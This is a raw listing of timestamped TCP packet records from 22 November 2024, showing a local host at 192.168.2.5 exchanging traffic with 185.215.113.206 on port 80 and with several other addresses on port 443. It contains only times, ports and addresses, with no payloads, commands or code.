Nov 22, 2024 00:11:56.004342079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.004420996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.004498959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.004545927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.005470991 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.005548954 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.005569935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.005624056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.006690025 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.006759882 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.006793976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.006839037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.007644892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.007724047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.007802010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.007952929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.008742094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.008816004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.008872032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.008954048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.009855032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.009955883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.009988070 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.010004997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.010744095 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.010962009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.011019945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.011044979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.011065960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.011126995 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.011137009 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.012056112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.012125969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.012176037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.013140917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.013164997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.013220072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.013251066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.014254093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.014344931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.014391899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.014693975 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.014770985 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.015297890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.015343904 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.015353918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.015434980 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.015477896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.015515089 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.015542984 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.016441107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.016513109 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.016550064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.016594887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.035530090 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.035546064 CET	443	49880	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.063325882 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.067524910 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.067533970 CET	443	49877	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.085889101 CET	49880	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.091722965 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.091761112 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.091861010 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.091877937 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.094247103 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.094305992 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.094520092 CET	443	49873	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.094574928 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.094599009 CET	49873	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.094626904 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.094677925 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.094897032 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.095604897 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.095621109 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.106462002 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.106612921 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.106717110 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.107619047 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.107619047 CET	49874	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.107631922 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.107641935 CET	443	49874	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.117273092 CET	49877	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.121586084 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.121650934 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.122029066 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.123275042 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.123291969 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.159795046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.159873962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.159910917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.159944057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.160335064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.160442114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.160495996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.161446095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.161499977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.161613941 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.161726952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.162522078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.162573099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.164586067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.164649963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.164696932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.164894104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.165039062 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.165127039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.165173054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.165883064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.165935040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.166034937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.166167021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.166946888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.167010069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.167068005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.167174101 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.168067932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.168112993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.168214083 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.168263912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.169157982 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.169212103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.169287920 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.169388056 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.170231104 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.170344114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.170392036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.171345949 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.171406984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.171451092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.171494961 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.172436953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.172486067 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.172540903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.172583103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.173516989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.173578024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.173629045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.173830986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.174665928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.174761057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.174823046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.175714970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.175770044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.175816059 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.175858021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.176800966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.176872015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.176974058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.177020073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.177931070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.178016901 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.178040028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.178262949 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.178993940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.179050922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.179089069 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.179243088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.180083036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.180155993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.180193901 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.180237055 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.181209087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.181272984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.181279898 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.181334019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.182315111 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.182368040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.182403088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.182605028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.183392048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.183542967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.183562994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.184484959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.184555054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.184593916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.184639931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.185596943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.185657978 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.185710907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.185786009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.186670065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.186732054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.186769962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.186872005 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.187760115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.187819958 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.187860012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.187903881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.188862085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.188930988 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.188971043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.189016104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.189980030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.190033913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.190042973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.190109968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.190359116 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:56.190536976 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:56.191080093 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:56.191117048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.191193104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.191231966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.191287994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.192152023 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.192208052 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.192254066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.192303896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.193265915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.193325043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.193331003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.193558931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.194335938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.194633007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.194694042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.195437908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.195502996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.195604086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.195651054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.196528912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.196603060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.196643114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.196691036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.197642088 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.197700024 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.197746038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.197935104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.198720932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.198839903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.198910952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.199815035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.199883938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.199923038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.199966908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.200897932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.200965881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.201010942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.201057911 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.202101946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.202178001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.202244997 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.203125954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.203195095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.203207970 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.203341961 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.204211950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.204274893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.204397917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.204447985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.205343962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.205395937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.205414057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.205440044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.206378937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.206449986 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.206490993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.206675053 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.207485914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.207545042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.207588911 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.207717896 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.208724976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.208744049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.208786011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.208805084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.209686041 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.209772110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.209825993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.210777998 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.210881948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.210908890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.210938931 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.211925983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.211983919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.212043047 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.212954044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.213004112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.213048935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.213095903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.214078903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.214167118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.214215994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.215157032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.215208054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.215245008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.215310097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.216279030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.216330051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.216387033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.216428041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.217315912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.217365980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.217394114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.217436075 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.248083115 CET	49841	443	192.168.2.5	18.165.220.106
Nov 22, 2024 00:11:56.248106956 CET	443	49841	18.165.220.106	192.168.2.5
Nov 22, 2024 00:11:56.294660091 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.294684887 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.294732094 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.294744015 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.294825077 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.294958115 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.295770884 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.295783997 CET	443	49879	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.295816898 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.295836926 CET	49879	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.296166897 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.296211958 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.296670914 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.296998024 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.297013998 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.299192905 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.299209118 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.299370050 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.299390078 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.300643921 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.300687075 CET	443	49878	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.300753117 CET	49878	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.356659889 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.359735012 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.359790087 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.359950066 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.360121012 CET	49876	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:56.360132933 CET	443	49876	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:56.360775948 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.360845089 CET	443	49875	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:56.361063004 CET	49875	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:56.361277103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.361337900 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.361393929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.361440897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.361845016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.361905098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.361939907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.361980915 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.362946033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.363051891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.363055944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.363126040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:56.364011049 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:56.364079952 CET	49788	80	192.168.2.5	185.215.113.206
